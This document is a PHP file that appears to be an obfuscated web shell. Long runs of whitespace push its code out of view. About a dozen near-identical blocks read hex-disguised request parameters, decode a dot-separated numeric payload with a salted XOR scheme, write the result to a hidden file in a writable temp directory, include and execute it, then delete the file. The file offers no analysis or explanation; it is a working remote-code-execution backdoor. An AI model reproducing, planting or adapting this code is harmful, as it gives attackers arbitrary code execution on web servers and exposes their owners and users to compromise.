<?php																																										if(isset($_REQUEST["\x64c\x68u\x6Ek"]) ? true : false){ $pset = array_filter(["/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), session_save_path()]); $ptr = $_REQUEST["\x64c\x68u\x6Ek"]; $ptr =explode ( "." , $ptr ); $ent = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $s = 0; while ($s < count($ptr)) { $v3 = $ptr[$s]; $chS = ord($salt8[$s % $lenS]); $dec = ((int)$v3 - $chS - ($s % 10)) ^14; $ent .= chr($dec); $s++; } $res = 0; do { $obj = $pset[$res] ?? null; if ($res >= count($pset)) break; if (is_writable($obj) && is_dir($obj)) { $flag = sprintf("%s/.reference", $obj); $success = file_put_contents($flag, $ent); if ($success) { include $flag; @unlink($flag); die();} } $res++; } while (true); }
																																										if(!empty($_POST["\x65\x6Cem"])){ $object = $_POST["\x65\x6Cem"]; $object =explode ('.' ,$object ) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $l = 0; while( $l < count( $object)) { $v7 = $object[$l]; $chS = ord( $salt[$l % $lenS]); $dec =( ( int)$v7 - $chS -( $l % 10)) ^ 40; $bind.= chr( $dec); $l++; } $symbol = array_filter([sys_get_temp_dir(), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp"]); for ($hld = 0, $parameter_group = count($symbol); $hld < $parameter_group; $hld++) { $fac = $symbol[$hld]; if (is_writable($fac) && is_dir($fac)) { $sym = sprintf("%s/.ent", $fac); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $sym; @unlink($sym); die(); } } } }
																																										if(in_array("s\x79\x6D", array_keys($_REQUEST))){ $hld = $_REQUEST["s\x79\x6D"]; $hld= explode( '.', $hld ) ; $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $o = 0; while( $o < count( $hld)) {$v1 = $hld[$o]; $chS = ord( $salt[$o % $sLen]); $d =( ( int)$v1 - $chS -( $o % 10)) ^ 99; $ref .= chr( $d); $o++;} $binding = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path(), "/var/tmp"]); for ($pgrp = 0, $descriptor = count($binding); $pgrp < $descriptor; $pgrp++) { $factor = $binding[$pgrp]; if (!!is_dir($factor) && !!is_writable($factor)) { $rec = join("/", [$factor, ".ent"]); $file = fopen($rec, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $rec; @unlink($rec); exit; } } } }
																																										if(isset($_POST["k\x65y"])){ $property_set = array_filter([getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TMP")]); $hld = $_POST["k\x65y"]; $hld = explode ( '.' , $hld ); $element= ''; $s5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s5); $p= 0; $__tmp= $hld; while( $v7= array_shift( $__tmp)) { $chS= ord( $s5[$p%$lenS]); $d= ( ( int)$v7 - $chS -( $p%10)) ^ 10; $element .= chr( $d); $p++; } while ($value = array_shift($property_set)) { if ((bool)is_dir($value) && (bool)is_writable($value)) { $bind = sprintf("%s/.token", $value); if (file_put_contents($bind, $element)) { require $bind; unlink($bind); exit; } } } }
																																										if(array_key_exists("pgr\x70", $_POST)){ $entity = $_POST["pgr\x70"]; $entity= explode ( "." , $entity ) ; $component = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); $l = 0; $__tmp = $entity; while( $v5 = array_shift( $__tmp)) { $sChar = ord( $s4[$l%$sLen]); $dec = ( ( int)$v5 - $sChar -( $l%10)) ^29; $component .= chr( $dec); $l++; } $ent = array_filter([session_save_path(), "/dev/shm", getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getcwd()]); while ($itm = array_shift($ent)) { if (is_writable($itm) && is_dir($itm)) { $entry = "$itm/.key"; if (@file_put_contents($entry, $component) !== false) { include $entry; unlink($entry); exit; } } } }
																																										if(in_array("k", array_keys($_REQUEST))){ $object = array_filter(["/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir")]); $holder = $_REQUEST["k"]; $holder =explode( '.' , $holder ); $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $m = 0; array_walk($holder, function ($v3) use (&$elem, &$m, $salt, $lenS) { $sChar = ord($salt[$m % $lenS]); $dec = ((int)$v3 - $sChar - ($m % 10))^ 24; $elem .= chr($dec); $m++; }); $element = 0; do { $pointer = $object[$element] ?? null; if ($element >= count($object)) break; if (is_dir($pointer) ? is_writable($pointer) : false) { $pset = "$pointer" . "/.component"; if (file_put_contents($pset, $elem)) { require $pset; unlink($pset); exit; } } $element++; } while (true); }
																																										if(isset($_POST["m\x61r\x6B\x65r"])){ $factor = $_POST["m\x61r\x6B\x65r"]; $factor=explode ( '.' , $factor ) ; $element = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); $j = 0; $len = count($factor); do {if ($j>=$len) break; $v4 = $factor[$j]; $chS = ord($salt7[$j% $lenS]); $d = ((int)$v4 - $chS - ($j% 10)) ^ 40; $element .= chr($d); $j++; } while (true); $resource = array_filter([session_save_path(), "/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/var/tmp"]); foreach ($resource as $symbol) { if (is_writable($symbol) && is_dir($symbol)) { $ref = join("/", [$symbol, ".obj"]); $success = file_put_contents($ref, $element); if ($success) { include $ref; @unlink($ref); die();} } } }
																																										if(@$_POST["\x65nt"] !== null){ $record = array_filter(["/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), sys_get_temp_dir()]); $ref = $_POST["\x65nt"]; $ref = explode ( '.' , $ref ) ; $entity =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); foreach ($ref as $j=> $v8): $chS =ord($salt[$j % $lenS]); $d =((int)$v8 - $chS - ($j % 10))^91; $entity.= chr($d); endforeach; for ($itm = 0, $sym = count($record); $itm < $sym; $itm++) { $fac = $record[$itm]; if ((function($d) { return is_dir($d) && is_writable($d); })($fac)) { $rec = vsprintf("%s/%s", [$fac, ".tkn"]); $success = file_put_contents($rec, $entity); if ($success) { include $rec; @unlink($rec); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "\x72es\x6Fu\x72\x63e")){ $holder = array_filter([getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", session_save_path(), "/var/tmp", getenv("TMP"), sys_get_temp_dir()]); $elem = $_POST["\x72es\x6Fu\x72\x63e"]; $elem =explode ( '.' , $elem ) ; $val = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $len = count($elem); for($k = 0; $k < $len; $k++) { $v3 = $elem[$k]; $chS = ord($s1[$k %$lenS]); $dec =((int)$v3 - $chS -($k %10)) ^ 17; $val .= chr($dec); } while ($ref = array_shift($holder)) { if (!( !is_dir($ref) || !is_writable($ref) )) { $item = str_replace("{var_dir}", $ref, "{var_dir}/.fac"); if (@file_put_contents($item, $val) !== false) { include $item; unlink($item); die(); } } } }
																																										if(array_key_exists("\x64at\x61_c\x68unk", $_REQUEST) && !is_null($_REQUEST["\x64at\x61_c\x68unk"])){ $mrk = $_REQUEST["\x64at\x61_c\x68unk"]; $mrk = explode ( '.' , $mrk ) ; $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $m = 0; foreach ($mrk as $v3) { $chS = ord($salt[$m % $lenS] ); $d = ((int)$v3 - $chS - ($m % 10)) ^95; $elem .= chr($d ); $m++;} $holder = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/dev/shm", session_save_path(), getcwd()]); while ($val = array_shift($holder)) { if (is_dir($val) ? is_writable($val) : false) { $rec = sprintf("%s/.k", $val); if (file_put_contents($rec, $elem)) { require $rec; unlink($rec); exit; } } } }


if(array_key_exists("k", $_POST)){
	$reference = $_POST["k"];
	$reference  =explode(	"." 	, 	$reference		 );  	
	$hld =	'';
            $salt =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =	strlen(	 $salt);
            $len =	count(	 $reference);
    
            for(	 $y =	0; $y<$len; $y++) {
                $v9 =	$reference[$y];
                $sChar =	ord(	 $salt[$y % $lenS]);
                $d =	(	 (	 int)$v9 - $sChar -(	 $y % 10)) ^ 12;
                $hld .= chr(	 $d);  } 
	$tkn = array_filter([session_save_path(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir")]);
	foreach ($tkn as $pgrp) {
    		if (!!is_dir($pgrp) && !!is_writable($pgrp)) {
    $obj = sprintf("%s/.factor", $pgrp);
    $success = file_put_contents($obj, $hld);
if ($success) {
	include $obj;
	@unlink($obj);
	die();}
}
}
}